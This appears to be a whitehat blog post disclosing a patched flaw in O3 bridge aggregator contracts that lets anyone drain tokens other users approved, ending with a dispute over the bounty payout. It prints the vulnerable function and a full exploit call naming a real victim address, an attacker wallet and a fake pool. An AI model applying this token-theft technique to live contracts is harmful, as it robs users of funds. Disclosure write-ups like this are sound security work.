top of page

Critical finding - Stealing tokens from O3 bridge users

Updated: Oct 11, 2022

Intro


O3 is a multi-service DeFi project with bridging solutions that supports 10+ chains. In each chain there are several contracts deployed. Below is a good schematic, docs are here:


In a nutshell, to transfer funds from chain A to B, user sends them to the Bridge contract, which transports them to the target chain. Actually, the only bridged assets are pTokens, stablecoins minted by O3 which are backed 1:1 to the base asset (USDC, USDT, etc.). So, to simplify the experience for users, aggregators are used to find the cheapest path from source currency (e.g. ETH) to the target currency (e.g. USDC), before converting them to the O3 stable and sending them out. In the destination chain, the bridge can use aggregators again before sending the funds to the user's address.


Example interaction from O3 swap website.


Aggregators are also used to support intra-chain swapping. In that case, the aggregator would invoke the underlying AMM and then transfer the funds directly to the target.


Great, now we understand the system just well enough to see what went wrong.


Bug Description


In O3 swap, there are lots of aggregators. To be practical we'll look at one but all the ones we looked at are vulnerable in a similar way.


The O3EthereumUniswapV3Aggregator has 3 external swapping functions:

  1. exactInputSingle - pulls a target token, performs specified swap and sends to target. Used for intra-chain swaps.

  2. exactInputSinglePToken - pulls a target pToken, unwraps it to base token, performs the specified swap and sends to target. Used in inter-chain swaps at the destination chain, mostly under the hood as it is called from the bridge when dispatching the funds.

  3. exactInputSingleCrossChain - used for inter-chain swaps at the source chain. Does the same as exactInputSingle but ultimately ships the funds to the O3 bridge.

For all three functions, callers are first required to approve the source tokens to the aggregator contract so that it may pull them. In exactInputSinglePToken's case, the approval is from the bridge's CallProxy utility address, which should not have any funds lying around except the ones currently in transit.


It turns out that any funds approved to aggregator contracts except MAX approve (-1), can immediately be stolen by any user. The key idea is that attacker can impersonate the victim using the callproxy functionality that exists in exactInputSinglePToken:


function exactInputSinglePToken(
    uint256 amountIn,
    address callproxy,
    address poolAddress,
    uint poolAmountOutMin,
    address[] calldata path,
    uint24 v3PoolFee,
    address to,
    uint deadline,
    uint aggSwapAmountOutMin,
    bool unwrapETH
) external ensure(deadline) {
    {
        address caller = _msgSender();

        if (callproxy != address(0) && amountIn == 0) {
            amountIn = IERC20(path[0]).allowance(callproxy, address(this));
            caller = callproxy;
        }

        require(amountIn != 0, 'O3Aggregator: ZERO_AMOUNT_IN');
        IERC20(path[0]).safeTransferFrom(caller, address(this), amountIn);
    }
    // Rest is not necessary

If callproxy parameter is specified, the funds to be swapped are pulled from this address instead of from msg.sender. Therefore, attacker may simply call exactInputSinglePToken with victim's address as callproxy and amountIn = 0, and the aggregator will use victim's funds to perform the swap. They will specify the rest of the parameters similar to a real swap, and finally the to address will be attacker's wallet. The exact exploit for each aggregator is a little different, because attacker needs to pass the corresponding swap parameters for the TX to succeed. However, this part is just a technicality and the privilege boundary is crossed already in the callproxy stage.


Note that if user has called MAX approve on the aggregator contract, the attack will not succeed, because the safeTransferFrom will attempt to move MAX tokens from the victim's wallet. This is reflected in the POC code, which simulates an approve() with the actual amount of funds to transfer instead of infinity.


To demo this attack, let's fork mainnet and attack a victim that approved the aggregator.


Contract address: 0x561f712b4659be27efa68043541876a137da532b
Victim: 0xC11073e2F3EC407a44b1Cff9D5962e6763F71187
Approval block: 15407228
Approval TX: https://etherscan.io/tx/0x9b11cefb1813b36b7e936e7646ee20b1f3de80410bc80db4334ec15f206ebcc0
Swap block:15407232
Swap TX: https://etherscan.io/tx/0x8beac775b91434f7bb6104713b78dd58c1513c3ed50bcb29ae53c9c1ba55aaba

In this TX, victim swaps using exactInputSingle(). Aggregator pulls USDT from victim and swaps to WETH, converts to ETH and sends to his address.

Before this TX happens, but after the approve, attacker will call exactInputSinglePToken().

They will pass these parameters to the call:


exactInputSinglePToken(
        uint256 amountIn, # 0
        address callproxy,  # 0xC11073e2F3EC407a44b1Cff9D5962e6763F71187 - Victim's address
        address poolAddress, # Our pool contract, which implements swap() by doing nothing but returning amountOut as incoming amountIn
        uint poolAmountOutMin, # 0
        address[] calldata path,    # [USDT, USDT, WETH] - 
[0xdAC17F958D2ee523a2206206994597C13D831ec7, 0xdAC17F958D2ee523a2206206994597C13D831ec7, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]
        uint24 v3PoolFee,  # 500 - copied from victim's actual swap call
        address to,   # attacker address - 0x1337133713371337133713371337133713371337
        uint deadline,  # 16007232  - long time in the future
        uint aggSwapAmountOutMin, 306664164731579662 - copied from victim's swap call
        bool unwrapETH # false - just keep stolen funds as WETH
)

The idea is to skip the assumed pToken -> token swap phase by implementing our empty swap() function (path[0]), and then swapping USDT to WETH (path[1], path[2]) via the uniswapV3router the same as victim's call would have done. This keeps the exploit as similar to victim's actual TX as possible and is quite elegant.


Let's see it in action:


We fix the USDT approve, which is the unexploitable MAX_APPROVE, by passing the actual pulled amount:


Deploy a fake pool that does nothing but returns amountOut = amountIn:


Finally, call exactInputSingleToken() to get user's funds. Tenderly is awesome and shows us all the hand switching involved in the TX.



So there you have it. All aggregators deployed by O3 are vulnerable, on all chains. Every time users bridge their assets cross chain or swap them in-chain, they are approving their funds to the aggregator.

 

When we submitted the report, the O3 bounty page listed all the aggregators in scope. They state that critical submissions are paid up to 400K, capped at 10% of total economic damage, but the minimum payout is 100K.


On 02/09, 0xDjango and I reported this vulnerability. It got patched the next day. O3 confirmed the issue and immediately sent us 5K in O3 tokens. In their statement, O3 said this is an excellent report, but due to the fact the exploit does not work on MAX approvals, and the O3 front end by default requests MAX approval, it does not impact their users. They downgraded the finding to a medium. Obviously, we thought this argument makes no sense. Firstly, the bounty policy does not mention anything about the front end. Secondly, users should not MAX approve by default, which is entrusting all their tokens to O3 ( a dangerous thing as we can see). Thirdly, O3 does not force users to go through their frontend, and there are lots of use cases where the aggregators will be used directly.


Feeling completely ripped off, we tried to involve Immunefi's mediation team. They kept saying they are awaiting response from the project. They gave us three separate deadlines, which kept passing without them doing anything. On 9/10, Immunefi gave O3 the Standard Badge. Feeling this was ridiculous, we reached out again, and on 10/10 they finally removed O3 from the platform.


I'll take this opportunity to call out Immunefi for being far too lenient with projects. They state that if projects breach SLAs they will be removed from the platform, but in practice give them unlimited amount of time, and only through relentless pressure from our side is the project now removed. It was important for us that the next hackers in line will not spend their time on a bounty program that will rip them off.


As for O3, this project is disgraceful to the whitehat community. We want each O3 user to know they are trusting a project that gives 0 ***** about their security and more likely than not will be featured at some point on rekt. When that happens, I for one wouldn't be shedding any tears.


 

After publishing this blog, we were contacted by several prominent whitehat hackers that had similar experiences with O3's program. It also turns out that Daniel submitted this finding just hours after us and got duplicated. We feel sorry for all others who had experiences similar to this and hope the ecosystem will be more respecting of white hats in the years to come.


0 comments

Comentarios


bottom of page